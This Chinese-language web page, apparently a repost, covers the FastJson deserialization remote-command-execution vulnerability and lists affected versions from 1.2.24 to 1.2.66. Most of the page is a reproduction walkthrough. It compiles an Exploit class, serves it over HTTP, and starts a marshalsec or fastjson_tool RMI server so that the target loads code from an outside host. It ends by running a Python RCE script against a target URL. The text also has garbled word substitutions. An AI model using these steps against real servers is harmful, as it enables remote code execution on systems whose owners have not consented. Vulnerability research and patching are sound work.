FastJson多版本反序列化远程命令执行漏洞

破绽描绘

FastJson是阿里巴巴的开源JSON解析库,它能够解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也能够从JSON字符串反序列化到JavaBean。
 


 

破绽版本

fastjson-1.2.66
fastjson-1.2.62
fastjson-1.2.47
fastjson-1.2.45
Fastjson-1.2.24
fastjson-1.2.43
fastjson-1.2.42
fastjson-1.2.41
 


 

破绽复现

https://github.com/zhzyker/exphub/tree/master/fastjson

marshalsec-0.0.3-SNAPSHOT-all.jar 启用 RMI/LDAP
编译Exploit.java生成Exploit.class

javac Exploit.java

python3 启一个 http 部署 Exploit.class

python3 -m http.server --bind 0.0.0.0 8888

marshalsec 开启 rmi

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:8888/#Exploit" 9999

fastjson_tool.jar 启用 RMI/LDAP
@wyzxxz大佬的tools整合了rmi/ldap+命令执行,

java -cp fastjson_tool.jar fastjson.HRMIServer 127.0.0.1 9999 "touch /tmp/233"

执行py脚本

http://1.1.1.1:8080/ 为fastjson破绽主机
rmi://2.2.2.2:9999/Exploit 为rmi效劳

python3 fastjson-1.2.47_rce.py http://1.1.1.1:8080/ rmi://2.2.2.2:9999/Exploit

 
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞7赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片